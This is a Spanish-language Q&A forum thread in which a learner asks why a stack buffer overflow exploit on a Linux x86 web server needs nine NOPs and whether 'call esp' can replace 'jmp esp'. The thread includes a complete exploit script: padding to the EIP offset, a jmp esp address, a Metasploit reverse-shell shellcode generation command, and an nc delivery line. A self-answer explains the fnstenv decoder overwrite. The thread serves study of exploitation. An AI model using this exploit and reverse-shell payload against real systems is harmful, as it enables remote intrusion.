Bufferoverflow - jmp esp. ¿Necesito nops trineo? ¿La llamada esp también funciona?

1

Estoy aprendiendo sobre el desbordamiento de búfer de pila y agradecería ayuda.

Estoy explotando un servidor web simple que contiene esta función de registro. El argumento s1 es la entrada que proporciono a través de HTTP. El servidor se está ejecutando en Linux x86 con asignación aleatoria de direcciones de pila.

void log(int type, char *s1, int num)
{
    int fd ;
    char logbuffer[1024];
    sprintf(logbuffer," INFO: %s:%d",s1,num);
}

Con metasploit pattern_create.rb y pattern_offset.rb obtengo un offset de EIP que es 1037.

genero shellcode con msfconsole; use linux / x86 / shell_reverse_tcp; generar -e x86 / alpha_mixed -t bash

Encuentro varias direcciones en la biblioteca estándar que contiene la instrucción jump% esp. Estoy usando 0x42122BA7.

Mi script de exploit completo:

pre='perl -e "print 'A' x 1037;"'
nops='perl -e "print '\x90' x 9;"'
shellcode=... [from msfconsole]

address="\xA7\x2B\x12\x42"

egg="${pre}${address}${nops}${shellcode}"

echo -e $egg | nc 192.168.230.132 8888
echo $?

El exploit está funcionando solo cuando incluyo 9 y más nops entre el EIP sobrescrito y el inicio del shellcode, de lo contrario, se produce un error. Mi pregunta es ¿por qué? ¿Por qué es necesario el sled nops en este caso? Mi hipótesis es que el código de shell se está descodificando y sobrescribiendo algo de memoria antes que él; cuando incluyo nops, la memoria se puede escribir, cuando no, la memoria no se puede escribir (¿porque está antes de ESP?) y, por lo tanto, está defectuosa.

Mi segunda pregunta es si esta vulnerabilidad funcionaría con "call% esp" en lugar de "jmp% esp". Según lo que encontré en internet funcionaría, pero no entiendo por qué. Imagine la misma vulnerabilidad que se escribió anteriormente, pero sobreescribiendo el EIP con la dirección que contiene "call% esp". Este es mi entendimiento de lo que seguiría:

  1. función de registro ret urnas. EIP se extrae de la pila y el procesador jmp en él. Los puntos ESP están debajo de (dirección más grande) EIP recién salido (NOPs están ahí).
  2. el procesador encuentra la instrucción "call% esp". EIP se empuja para apilar. ESP ahora apunta al EIP que acaba de presionar.
  3. se ejecuta jmp% esp. Salto en la parte superior de la pila donde está el EIP que se acaba de empujar.
  4. ¿Y ahora qué? La siguiente instrucción no es un NOP, sino un primer byte aleatorio del EIP.
pregunta Jan Luxemburk 08.09.2017 - 17:19
fuente

1 respuesta

1

Descubrí una respuesta a la segunda pregunta. De acuerdo con esto (https: // www.offensive-security.com / metasploit-unleashed / alphanumeric-shellcode /), el shellcode generado por Metasploit necesita que su dirección de memoria absoluta funcione. Las primeras cinco instrucciones del shellcode sirven para este propósito. Estos son:

Parteimportantesonlasinstruccionesfcmovnuyfnstenv.Alfinalde esta publicación del blog se explica cómo se sirven estas instrucciones. para obtener el EIP actual.

La instrucción Fnstenv está guardando el entorno de unidad de punto flotante en la dirección suministrada. Escribe 28 bytes, y el puntero de instrucción se encuentra en un desplazamiento de 12 bytes. Creo que fcmovnu es solo una instrucción aleatoria de punto flotante utilizada para inicializar el entorno de la FPU.

enlace

Entonces, ¿por qué se necesitan 9 NOPS? Fnstenv está escribiendo 28 bytes en la dirección ESP - 12 ("fnstenv [edi-0xc]" y esp se mueve a la instrucción edi antes).

Si el código de shell está justo debajo de ESP, sin NOP, parte del código de shell se sobrescribe (principalmente la siguiente instrucción "pop eax").

Si hay 9 NOP, esto es lo que sucede:

  1. Fnstenv sobrescribe 12 bytes antes del ESP (no nos preocupamos por esto).
  2. Luego sobrescribe 9 NOP después del ESP.
  3. 28 - (9 + 12) = 7. 7 bytes más para escribir.
  4. Estos 7 bytes están sobrescribiendo el inicio del código de shell, pero solo las instrucciones que ya se ejecutaron: mov, fcmovnu y fnstenv, son en conjunto 7 bytes. La siguiente instrucción "pop eax" no se sobrescribe y el código de shell funciona.

Ver un volcado de memoria confirma esta explicación.

    
respondido por el Jan Luxemburk 17.09.2017 - 18:16
fuente

Lea otras preguntas en las etiquetas